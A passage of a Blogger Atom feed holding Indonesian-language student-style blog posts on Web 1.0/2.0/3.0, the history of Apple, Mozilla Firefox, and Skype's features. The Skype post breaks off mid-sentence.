class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-5894478925773609634?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/5894478925773609634/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2011/03/teknik-informatikacom.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/5894478925773609634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/5894478925773609634'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2011/03/teknik-informatikacom.html' title='teknik-informatika.com'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-k2ROW34G7_A/TZB4utykk6I/AAAAAAAAACI/IP3kuyGmHw8/s72-c/abcde.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2063683234735628766</id><published>2011-02-26T22:28:00.003+07:00</published><updated>2011-04-21T09:00:21.148+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Soft Skills'/><title type='text'>Pengenalan dan Perbandingan Teknologi Web 1.0, 2.0, dan 3.0</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/-4P4WUa5mzbs/Ta-PRX0NWtI/AAAAAAAAAC4/e1lenOYlKl0/s1600/1111.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="257" src="http://2.bp.blogspot.com/-4P4WUa5mzbs/Ta-PRX0NWtI/AAAAAAAAAC4/e1lenOYlKl0/s320/1111.jpg" width="320" /&gt;&lt;/a&gt;Sebelumnya, kita jelajahi dulu apa itu Web.Web adalah suatu ruang informasi di mana sumber-sumber daya yang berguna diidentifikasi oleh pengenal global yang disebut Uniform Resource Identifier (URL).&lt;br /&gt;&lt;br /&gt;Secara umum, Web 1.0 dikembangkan untuk pengaksesan informasi dan memiliki sifat yang sedikit interaktif.Secara garis besar, sifat Web 1.0 adalah Read.&lt;br /&gt;&lt;br /&gt;Lalu, tak lama kemudian muncullah Web 2.0 yang merupakan revolusi bisnis di industri komputer yang disebabkan oleh penggunaan internet sebagai platform, juga merupakan suatu percobaan untuk memahami aturan untuk mencapai keberhasilan platform baru.Sifat Web 2.0 adalah Read-Write.&lt;br /&gt;&lt;br /&gt;Era Web 2.0 tidak membutuhkan orang jenius yang hanya berkutat sendiri di ruang tertutup atau laboratorium untuk membuat teknologi baru yang dipatenkan agar membuat dirinya menjadi terkenal. Tapi era ini lebih membutuhkan orang untuk saling berbagi ilmu, pengalaman atau lainnya sehingga terbentuk komunitas online besar yang menghapuskan sifat-sifat individu.&lt;span class="fullpost"&gt; &lt;br /&gt;&lt;br /&gt;Sedangkan letak perbedaan Web 1.0 dan Web 2.0 yaitu :&lt;br /&gt;&lt;br /&gt;1. Perilaku pengguna Membaca (Web 1.0) Menulis&lt;br /&gt;2. Pelaku utama Perusahaan Pengguna/Komunitas&lt;br /&gt;3. Hubungan dengan server Client-server Peer to peer&lt;br /&gt;4. Bahasa pemrograman penampil konten HTML XML&lt;br /&gt;5. Pola hubungan penerbit-pengguna Searah Dua arah/ Interaktif&lt;br /&gt;6. Pengelolaan konten Taksonomi/direktori Folksonomi/penanda/tag&lt;br /&gt;7. Penayangan berbagai kanal informasi Portal RSS/Sindikasi&lt;br /&gt;8. Hubungan antar pengakses Tidak ada Berjejaring&lt;br /&gt;9. Sumber konten Penerbit/pemilik situs Pengguna&lt;br /&gt;&lt;br /&gt;Yang menjadi kunci perbedaan dalam Web 2.0 dan Web 1.0 adalah keterbatasan pada Web 1.0 yang mengharuskan pengguna internet untuk datang ke dalam website tersebut dan melihat satu persatu konten di dalamnya.Sedangkan Web 2.0 memungkinkan pengguna internet dapat melihat konten suatu website tanpa harus berkunjung ke alamat situs yang bersangkutan.Kemampuan web 2.0 dalam melakukan aktivitas drag and drop, auto complete, chat, voice dapat dilakukan layaknya aplikasi desktop.&lt;br /&gt;&lt;br /&gt;Selanjutnya adalah Web 3.0, jika dunia seluler dikenal istilah 3G, maka di Internet ada yang namanya Web 3.0. Wow, apa pula ini? Apa bedanya dengan Web 2.0 yang sekarang sedang marak? Jangan salah, ternyata orang Indonesia juga sudah ada yang mengembangkannya.&lt;br /&gt;&lt;br /&gt;Konsep ini dapat diandaikan sebuah website sebagai sebuah intelektualitas buatan (Artificial Intelegence).Aplikasi – aplikasi online dalam website dapat saling berinteraksi, kemampuan interaksi ini dimulai dengan adanya web service.&lt;br /&gt;&lt;br /&gt;Di web 3.0 ini, sudah terjadi konvergensi yang sangat dekat antara dunia TI dengan dunia telekomunikasi. Dunia web dan telco berkembang pesat seiring dengan kebutuhan pengguna. Penggunaan perangkat TI dan telekomunikasi nantinya sudah seperti sama saja tidak ada bedanya. Saat ini saja pertanda seperti itu sudah mulai bisa kita rasakan walaupun masih belum sempurna. Kita bisa menonton tivi di ponsel atau komputer, bisa mengakses internet di ponsel, bisa melakukan SMS dan telepon dari komputer. Ya karena konvergensi terhadap berbagai perangkat seperti hukum alam yang tidak bisa dielakkan. Semua mengalami evolusi menuju dunia yang lebih maju.&lt;br /&gt;&lt;br /&gt;Saat ini adaptasi Web 3.0 mulai dikembangkan oleh beberapa perusahaan di dunia seperti secondlife, Google Co-Ops, bahkan di Indonesia sendiri juga sudah ada yang mulai mengembangkannya, yaitu Li’L Online (LILO) Community.&lt;br /&gt;&lt;br /&gt;Permasalahan lain yang potensial muncul adalah, sebagai teknologi masa depan, Web 3.0 juga membutuhkan kecepatan akses Internet yang memadahi dan spesifikasi komputer yang tidak enteng, hal ini disebabkan tak lain karena teknologi ini secara visual berbasis 3D. Sedangkan seperti yang kita tahu biaya akses Internet dengan kecepatan tinggi di Indonesia ini masih terbilang mahal bagi masyarakat umum. Belum lagi jika dihitung dari biaya spesifikasi perangkat komputer yang dibutuhkan, mungkin masyarakat Indonesia yang ingin menikmati kecanggihan layanan berbasis teknologi Web 3.0 masih harus menarik nafas penjang. Namun karena Web 3.0 sendiri masih dalam pengembangan, seiring dengan berlalunya waktu sebagai masyarakat Indonesia kita masih bisa mengharapkan bahwa biaya komunikasi, dalam hal ini koneksi Internet kecepatan tinggi akan semakin murah nantinya, sehingga terjangkau bagi masyarakat luas. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2063683234735628766?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2063683234735628766/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2011/02/pengenalan-dan-perbandingan-teknologi.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2063683234735628766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2063683234735628766'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2011/02/pengenalan-dan-perbandingan-teknologi.html' title='Pengenalan dan Perbandingan Teknologi Web 1.0, 2.0, dan 3.0'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-4P4WUa5mzbs/Ta-PRX0NWtI/AAAAAAAAAC4/e1lenOYlKl0/s72-c/1111.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-8360460708776826248</id><published>2010-12-18T22:18:00.002+07:00</published><updated>2010-12-18T22:18:45.385+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Media'/><title type='text'>Apple</title><content type='html'>Apple, Inc. (sebelumnya bernama Apple Computer, Inc.) adalah sebuah perusahaan Silicon Valley berbasis di Cupertino, California, yang bergerak dalam bidang teknologi komputer. Apple membantu bermulanya revolusi komputer pribadi pada tahun 1970-an dengan produknya Apple II dan memajukannya sejak tahun 1980-an hingga sekarang dengan Macintosh. Apple terkenal akan perangkat keras ciptaannya, seperti iMac, Macbook, perangkat pemutar lagu iPod, dan telepon genggam iPhone. Beberapa perangkat lunak ciptaanya pun mampu bersaing di bidang kreatif seperti penyunting video Final Cut Pro, penyunting suara Logic Pro dan pemutar lagu iTunes yang sekaligus berfungsi sebagai toko lagu online.&lt;br /&gt;MacIntosh pertama yang dikenal sebagai MacIntosh 128K&lt;br /&gt;&lt;span class="fullpost"&gt; &lt;br /&gt;Pra-pendirian&lt;br /&gt;&lt;br /&gt;Sebelum membantu mendirikan Apple, Steve Wozniak adalah seorang hacker elektronik. Pada tahun 1975, dia bekerja di Hewlett-Packard dan membantu temannya Steve Jobs mendisain video game untuk Atari. Pada saat itu, Wozniak telah membeli computer time pada bermacam jenis minicomputer yang di-host oleh Call Computer, sebuah perusahaan timesharing. Terminal komputer pada saat itu mayoritas berbasis kertas; thermal printer seperti Texas Instruments Silent 700 adalah terminal yang paling maju. Wozniak melihat sebuah artikel di majalah bernama Popular Electronics edisi 1975 yang berisikan bagaimana cara untuk membuat terminal komputer sendiri. Menggunakan alat-alat yang dapat dibeli di toko, Wozniak merancang dan membuat komputer bernama Computer Conversor, sebuat video teletype yang bisa dipakai untuk mengakses minicomputer di Call Computers. Disainnya kemudian dibeli oleh Call Computers dan beberapa unit terjual.&lt;br /&gt;&lt;br /&gt;Pada tahun 1975 Wozniak mulai menghadiri pertemuan sebuah klub bernama Homebrew Computer Club. Microcomputer baru seperti Altair 8800 dan IMSAI menginspirasinya untuk memasang sebuah mikroprosesor pada video teletype-nya untuk menjadikannya sebuah unit komputer yang lengkap.&lt;br /&gt;&lt;br /&gt;Pada saat itu CPU yang banyak tersedia adalah Intel 8080 seharga $US 179 dan Motorola 6800 seharga $US 170. Wozniak lebih tertarik pada Motorola 6800 tetapi harganya terlalu mahal. Dia pun kemudian sadar dan hanya mendisain komputer di atas kertas.&lt;br /&gt;&lt;br /&gt;Ketika MOS Technology memproduksi chip 6502 pada tahun 1976 dengan harga $US 20, Wozniak membuat sebuah versi BASIC untuk chip tersebut dan mulai mendisain sebuah komputer untuk menjalankannya. Chip 6502 didisain oleh orang yang sama yang telah mendisain Motorola 6800. Wozniak kemudian berhasil membuat komputer tersebut dan membawanya ke pertemuan-pertemuan Homebrew Computer Club untuk dipamerkan. Pada satu pertemuan Wozniak bertemu teman lamanya Steve Jobs yang tertarik akan potensi komersialisasi komputer-komputer kecil.&lt;br /&gt;&lt;br /&gt;Tahun-tahun pertama&lt;br /&gt;&lt;br /&gt;Steve Jobs dan Steve Wozniak sudah berteman sejak lama. Bertemu pertama kali pada tahun 1971 ketika seorang teman memperkenalkan Wozniak yang saat itu berumur 21 tahun kepada Jobs yang saat itu baru berumur 16 tahun. Jobs berhasil membujuk Wozniak untuk membuat komputer dan menjualnya. Jobs mendekati sebuat toko komputer lokal The Byte Shop yang tertarik untuk membeli komputer tetapi hanya komputer yang sudah terpaket lengkap, pemilik toko tersebut Paul Terrell mengatakan ia siap membeli 50 unit seharga $US 500 satunya.&lt;br /&gt;&lt;br /&gt;Komputer buatan Wozniak hanya memiliki beberapa kelebihan. Salah satunya dapat menggunakan TV sebagai monitor di mana saat itu banyak komputer tidak memiliki monitor sama sekali. Monitor ini bukanlah seperti monitor modern dan hanya menampilkan teks dengan kecepatan 60 karakter per detik. Komputer ini bernama Apple I dan memiliki kode bootstrap pada ROM-nya yang membuatnya lebih mudah untuk dihidupkan. Akhirnya dengan paksaan Paul Terrell Wozniak juga mendisain sebuah mekanisme kaset untuk membuka dan menyimpan program dengan kecepatan 1,200 bits/detik, sebuah kecepatan yang cukup tinggi pada saat itu. Walaupun komputer tersebut cukup sederhana disainnya adalah sebuah masterpiece, menggunakan jumlah komponen yang jauh lebih sedikit dengan komputer-komputer sejenisnya dan berhasil memberi reputasi kepada Wozniak sebagai seorang master designer dengan cepat.&lt;br /&gt;&lt;br /&gt;Dibantu oleh satu orang lagi teman Ronald Wayne, bertiga mereka mulai memproduksi komputer tersebut. Dengan menggunakan berbagai cara termasuk meminjam ruangan dari teman dan keluarga, menjual bermacam harta pribadi (seperti kalkulator dan sebuah mobil VW Combi), memulung dan sedikit menipu. Jobs berhasil mendapatkan komponen-komponen yang dibutuhkan untuk produksi sementara Wozniak dan Wayne membuat komputer-komputer tersebut. Selesai dan dikirim pada bulan Juni, mereka dibayar sesuai janji oleh Paul Terrell. Pada akhirnya, 200 unit Apple I diproduksi.&lt;br /&gt;&lt;br /&gt;Tapi Wozniak sudah lebih maju daripada Apple I. Banyak elemen design Apple I dibuat karena keterbatasan dana yang dimiliki oleh mereka untuk membuat sebuah prototype. Tapi dengan pendapatan dari penjualan Apple I, dia bisa memulai produksi komputer yang lebih canggih, Apple II; Apple II diperkenalkan kepada publik pada West Coast Computer Faire pada bulan April 1977.&lt;br /&gt;&lt;br /&gt;Perbedaan utama dengan Apple I adalah tampilan TV yang didesign total, di mana tampilan disimpan di memori. Dengan cara ini monitor tidak hanya bisa menampilkan teks juga bisa menampilkan gambar dan pada akhirnya warna. Pada saat yang sama Jobs menekankan disain casing dan keyboard yang lebih baik dengan pemikiran bahwa komputer tersebut harus lengkap dan siap langsung dinyalakan. Apple I hampir bisa seperti itu namun pengguna masih harus memasang berbagai macam komponen dan menulis kode untuk menjalankan BASIC.&lt;br /&gt;&lt;br /&gt;Menyadari membuat komputer seperti itu akan memakan banyak biaya. Jobs mulai mencari uang tunai namun Wayne sedikit ragu karena ia pernah mengalami kegagalan perusahaan empat tahun sebelumnya dan akhirnya keluar dari perusahaan. Jobs akhirnya bertemu dengan Mike Markkula yang menjamin pinjaman bank sebanyak $US 250.000 dan mereka bertiga membentuk perusahaan Apple Computer pada 1 April 1976. Dengan dana dan disain bentuk yang baru, Apple II dilepas pada tahun 1977 dan menjadi komputer yang biasanya diasosiasikan dengan munculnya pasar PC. Jutaan unit terjual sampai tahun 1980an. Ketika Apple go public pada tahun 1980, mereka menghasilkan dana terbanyak sejak Ford go public pada tahun 1956.&lt;br /&gt;&lt;br /&gt;Berbagai jenis model Apple II diproduksi, termasuk Apple IIe dan Apple IIgs.&lt;br /&gt;&lt;br /&gt;Apple III dan Lisa&lt;br /&gt;&lt;br /&gt;Memasuki dekade 1980, Apple menghadapi kompetisi dalam bisnis komputer pribadi. Salah satu penantang besar adalah IBM, perusahaan ternama pertama di bidang komputer. Komputer IBM yang menggunakan sistem operasi DOS yang dilisensi kepada IBM oleh Microsoft meraih porsi yang besar dalam pangsa pasar komputer meja untuk perusahaan besar yang tergolong masih muda.&lt;br /&gt;&lt;br /&gt;Beberapa perusahaan yang lebih kecil menggunakan Apple II, tetapi Apple merasa perlu mengeluarkan model baru yang lebih maju untuk bersaing di bidang komputer meja bagi perusahaan besar. Maka para perancang Apple III dipaksa untuk mengikuti keinginan Steve Jobs yang terlalu tinggi dan mustahil untuk dipenuhi. Salah satu diantaranya adalah menghilangkan kipas pendingin - yang menurut Steve Jobs tidak elegan. Mesin baru tersebut kemudian sangat sering mengalami overheating dan sebagian model awalnya harus ditarik dari pasaran. Apple III tergolong sangat mahal walaupun Apple berusaha mengeluarkan versi yang diperbaiki di tahun 1983 yang juga gagal di pasaran.&lt;br /&gt;&lt;br /&gt;Sementara, beberapa grup di dalam Apple juga berusaha mengembangkan jenis komputer pribadi baru, dengan teknologi maju seperti antarmuka pengguna grafis menggunakan mouse, object-oriented programming dan kemampuan menggunakan network. Orang-orang tersebut seperti Jef Raskin dan Bill Atkinson mencoba meyakinkan Steve Jobs untuk memberikan dukungan sepenuhnya dalam mengembangkan ide mereka.&lt;br /&gt;&lt;br /&gt;Hanya setelah mereka membawa Steve Jobs untuk melihat teknologi yang dikembangkan di Xerox PARC dalam komputer Alto pada bulan Desember 1979 maka yakinlah Steve Jobs bahwa masa depan akan menghadirkan komputer yang grafik-intensif dan icon-friendly. Walaupun ide tersebut mengundang ketidak-setujuan ahli riset dari PARC banyak yang akhirnya bekerja untuk Apple seperti Larry Tesler, Xerox mengijinkan insinyur dari Apple untuk mengunjungi fasilitas PARC dengan perjanjian bahwa Apple akan menjual satu juta saham mereka sebelum perusahaan tersebut go-public (total harga saat itu berkisar AS$18 juta). Apple Lisa dilepas pada bulan January 1983 dengan harga AS$ 10.000. Sekali lagi, Apple mengenalkan produk yang tergolong sangat maju pada saat itu, tetapi terlalu mahal (kesalahan ini akan terus diulang Apple selama beberapa tahun kedepan), dan sekali lagi Apple gagal meraih pasaran yang tersedia. Apple Lisa kemudian diberhentikan pada tahun 1986.&lt;br /&gt;&lt;br /&gt;Macintosh&lt;br /&gt;&lt;br /&gt;Proyek Lisa dilepas dari kendali Steve Jobs saat masih separuh jadi. Steve Jobs kemudian mengalihkan perhatiannya kepada proyek Macintosh, yang pada awalnya dianggap sebagai sejenis Lisa yang lebih murah. Apple Macintosh diluncurkan pada tahun 1984 dengan iklan televisi berjudul 1984 yang didasarkan dari novel karya George Orwell yang juga diberi nama 1984, dengan pernyataan, "On January 24, Apple Computer will introduce Macintosh. And you'll see why 1984 won't be like '1984'" — maksud dari kata-kata tersebut adalah Macintosh yang baru akan membebaskan komputer dan informasi dari kekangan perusahaan besar dan technocrats. Apple juga membuahkan konsep pewarta Apple (Apple evangelist) yang dipelopori oleh karyawan Apple bernama Guy Kawasaki.&lt;br /&gt;&lt;br /&gt;Walaupun ada kekhawatiran mengenai kurangnya piranti lunak yang tersedia, layar hitam putih dan arkitekturnya yang terutup, merek Macintosh pada akhirnya menjadi produk yang berhasil bagi Apple bahkan sampai hari ini. Banyak yang merasa bahwa kesuksesan itu seharusnya jauh lebih besar dari kenyataannya. Ketika Bill Gates pendiri dan sekarang pemimpin Microsoft mengunjungi kantor besar Apple di Cupertino, Steve Jobs menunjukkan sebuah prototipe dari antarmuka pengguna grafis untuk Macintosh. Pada tahun 1985 Microsoft meluncurkan Windows, antarmuka pengguna grafis buatan mereka sendiri untuk komputer IBM. Pada saat itu sistem komputer IBM sudah di-reverse engineered dan banyak perusahaan juga membuat komputer yang kompatibel dengan IBM. Walaupun Apple memberi lisensi untuk beberapa produk lainnya mereka tidak pernah memberikan ijin perusahaan lain untuk membuat komputer yang kompatibel dengan Macintosh sehingga Microsoft bisa mendominasi pangsa pasar yang ada. Pada saat itu Apple sadar bahwa mereka sudah terlambat untuk merebut kembali kekuasaan pasar yang pernah mereka miliki. Komputer Macintosh kompatibel yang dijual di tahun 1990an pun hanya meraih kesuksesan yang kecil. Walaupun Windows versi pertama sangat ketinggalan zaman dibanding Macintosh, piranti lunak tersebut dan komputer yang kompatibel dengan Windows bisa dibeli dengan harga yang jauh lebih murah dibanding sebuah Macintosh. Ditambah lagi perbaikan yang dilakukan Microsoft secara cepat mengejar ketinggalan mereka. Sekaligus juga karena keterbukaan yang dimiliki oleh komputer yang kompatibel dengan IBM menyebabkan lebih banyak piranti lunak tersedia untuk Windows dibanding Macintosh. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-8360460708776826248?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/8360460708776826248/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/apple.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/8360460708776826248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/8360460708776826248'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/apple.html' title='Apple'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-7416106463043346594</id><published>2010-12-18T22:16:00.001+07:00</published><updated>2010-12-18T22:16:47.923+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Media'/><title type='text'>Mozilla Firefox</title><content type='html'>Mozilla Firefox (aslinya bernama Phoenix dan kemudian untuk sesaat dikenal sebagai Mozilla Firebird) adalah penjelajah web antar-platform gratis yang dikembangkan oleh Yayasan Mozilla dan ratusan sukarelawan. Versi 3.0 dirilis pada 17 Juni 2008.&lt;br /&gt;&lt;br /&gt;Sebelum rilis versi 1.0-nya pada 9 November 2004, Firefox telah mendapatkan sambutan yang sangat bagus dari pihak media, termasuk dari Forbes dan Wall Street Journal. Dengan lebih dari 5 juta download dalam 12 hari pertama rilisnya dan 6 juta hingga 24 November 2004, Firefox 1.0 adalah salah satu perangkat lunak gratis, sumber-terbuka (open-source) yang paling banyak digunakan di antara pengguna rumahan.&lt;br /&gt;&lt;span class="fullpost"&gt; &lt;br /&gt;Melalui Firefox, Yayasan Mozilla betujuan untuk mengembangkan sebuah browser web yang kecil, cepat, simpel, dan sangat bisa dikembangkan (terpisah dari Mozilla Suite yang lebih besar). Firefox telah menjadi fokus utama perkembangan Mozilla bersama dengan client e-mail Mozilla Thunderbird, dan telah menggantikan Mozilla Suite sebagai rilis browser resmi Yayasan Mozilla.&lt;br /&gt;&lt;br /&gt;Di antara fitur populer Firefox adalah pemblokir pop-up yang sudah terpasang di dalamnya, dan sebuah mekanisme pengembangan (extension) untuk menambah fungsionalitas tambahan. Meskipun fitur-fitur ini sudah tersedia untuk beberapa lamanya di browser-browser lainnya seperti Mozilla Suite dan Opera, Firefox merupakan browser pertama yang mendapatkan penerimaan dalam skala sebesar ini. Firefox ditargetkan untuk mendapat sekitar 10% pangsa pasar Internet Explorer keluaran Microsoft (browser paling populer dengan margin yang besar (per 2004) hingga tahun 2005, yang telah disebut oleh banyak orang sebagai tahun kembalinya perang browser. &lt;br /&gt;&lt;br /&gt;Firefox telah mendapatkan perhatian sebagai alternatif kepada Internet Explorer sejak Explorer dikecam karena tuduhan ketidakamanannya—pihak yang setuju terhadap anggapan ini mengatakan Explorer tidak mengikuti standar Web, menggunakan komponen ActiveX yang sering membahayakan, dan kelemahannya terhadap pemasangan spyware dan malware—dan kurangnya fitur-fitur yang dianggap pemakai Firefox penting. Microsoft sendiri telah merespons bahwa mereka tidak menganggap jika isu-isu mengenai keamanan dan fitur Explorer perlu dikhawatirkan.&lt;br /&gt;&lt;br /&gt;Versi 2.0 diluncurkan pada 24 Oktober 2006. Pada versi 2.0 ini, Mozilla mempunyai bug (kelemahan) yaitu akan "crash" jika membuka web page (halaman Web) yang sangat besar dan memiliki JavaScript, namun hal ini telah diperbaiki.  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-7416106463043346594?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/7416106463043346594/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/mozilla-firefox.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/7416106463043346594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/7416106463043346594'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/mozilla-firefox.html' title='Mozilla Firefox'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-8065815407996465891</id><published>2010-12-18T22:11:00.002+07:00</published><updated>2010-12-18T22:11:36.851+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Media'/><title type='text'>Skype</title><content type='html'>Skype adalah sebuah program komunikasi dengan teknologi P2P (peer to peer). Program ini merupakan program bebas (dapat diunduh gratis) dan dibuat dengan tujuan penyediaan sarana komunikasi suara (voice) berkualitas tinggi yang murah berbasiskan internet untuk semua orang di berbagai belahan dunia. Pengguna Skype dapat berbicara dengan pengguna Skype lainnya dengan gratis, menghubungi telepon tradisional dengan biaya (skypeOut), menerima panggilan dari telepon tradisional (SkypeIn), dan menerima pesan suara [1] . Teknologi skype ditemukan oleh wirausahawan Niklas Zennström dan Janus Friis, orang yang sama yang menemukan Kazaa dan Joost (P2P untuk televisi). Skype lalu berkompetisi dengan protokol terbuka VoIP yang sudah ada seperti SIP, IAX, dan H.323. Grup Skype yang dibentuk pada bulan September 2003 lalu dibeli oleh perusahaan lelang internet raksasa di Amerika e-Bay pada bulan September 2005 dan bermarkas di Luxembourg, Jerman dengan kantor-kantor di London, Inggris, Praha, Rusia dan San Jose, California, A.S.&lt;br /&gt;&lt;br /&gt;Sejak diluncurkan skype telah mengalami pertumbuhan pesat baik dari penggunaannya yang populer maupun pengembangan perangkat lunaknya, jasa yang ditawarkan pun menjadi beragam mulai dari penggunaan gratis maupun berbayar.&lt;span class="fullpost"&gt; &lt;br /&gt;&lt;br /&gt;Hanya dalam beberapa tahun saja pada bulan April 2006 Skype memiliki 100 juta pengguna.&lt;br /&gt;&lt;br /&gt;Keunggulan&lt;br /&gt;Daftar harga Skype untuk Indonesia&lt;br /&gt;&lt;br /&gt;   1. Komunikasi global dan lokal yang lebih ekonomis melalui suara atau konferensi video. Sebagai ilustrasi pada tahun 2007 perbandingan menelpon ke Amerika dari Indonesia adalah Rp.6,640,-/ menit [2] sedangkan dengan menggunakan skype, aktivitas ini didapatkan gratis (untuk sesama pengguna skype) dan berbayar bila skype digunakan untuk menelpon ke pesawat telpon genggam: Rp. 1,593/ menit atau pesawat telpon rumah: Rp. 423/ menit [3]. Komunikasi menjadi lebih murah dan terjangkau. Konferensi bisa dilangsungkan antar pengguna (dua orang) sampai dengan lima pengguna sekaligus.&lt;br /&gt;   2. Penggunaannya yang mudah. Untuk pengguna yang telah biasa menggunakan pengirim-penerima pesan instan internet, perangkat lunak skype akan dirasakan mudah. Pengguna hanya diharuskan untuk memiliki komputer dengan spesifikasi teknis tertentu, headset (yang memiliki mike dan speaker), serta sambungan internet.&lt;br /&gt;   3. Kualitas suara yang lebih baik dibandingakan VoIP pendahulunya. Kegunaan dasar pembicaraan telepon melalui komputer di mana pun pengguna berada (dengan koneksi internet) secara gratis.&lt;br /&gt;&lt;br /&gt;Kualitas suara yang lebih baik&lt;br /&gt;&lt;br /&gt;Dalam hal kualitas suara yang lebih baik, hal ini mungkin terjadi karena tim kerja Skype telah berhasil mengontrol sumberdaya- sumberdaya yang tersedia pada jaringan. Sehingga meningkatkan keberhasilan panggilan dan kualitas pada jaringan Skype melebihi tingkat POTS (Plain Old Telephony System: Sistem Telepon Tua Biasa) tanpa menggunakan pemusatan sumberdaya yang mahal. Dengan menyederhanakan perangkat lunaknya, sistem ini memungkinkan pengaplikasian yang mudah oleh siapapun.&lt;br /&gt;&lt;br /&gt;Traversal Firewall dan NAT (Network Address Translation)&lt;br /&gt;&lt;br /&gt;Klien-klien yang tidak menggunakan firewall dan klien-klien yang sudah berada pada alamat-alamat IP publik yang terarah dapat membantu “ujung-penghubung” dari NAT berkomunikasi dengan mengarahkan panggilan. Hal ini memungkinkan dua klien yang awalnya tidak bisa berkomunikasi untuk berbicara satu sama lainnya, karena sinyal panggilan di terjemahkan pada pengguna akhir yang satu dan pengguna akhir lainnya, sehingga kekhawatiran akan risiko keamanan atau privasi dapat diatasi. Bersamaan dengan hal ini, hanya proxi-proxi yang memiliki “jatah” berlebih yang dipilih sehingga performa pada penggunanya tidak terganggu. Beberapa teknik baru telah dikembangkan untuk menghindari konfigurasi firewall dan gateway pada pengguna akhir, dimana setting konfigurasi yang tidak sensitif biasanya menghambat mayoritas pengguna dalam berkomunikasi. Singkatnya, Skype bekerja di belakang mayoritas firewall dan gateway tanpa menggunakan konfigurasi khusus.&lt;br /&gt;&lt;br /&gt;Data dan Alat Pencari Pengguna Global Terdesentralisasi&lt;br /&gt;&lt;br /&gt;Kebanyakan dari pengirim-penerima pesan instan (Instant Messenger) atau perangkat lunak komunikasi memerlukan bentuk data pencari terpusat yang bertujuan agar hubungan antar pengguna akhir berhasil dilakukan, dimana para pengguna akhir ini memiliki nama pengguna statis karena alamat IP-nya cenderung berubah. Perubahan ini 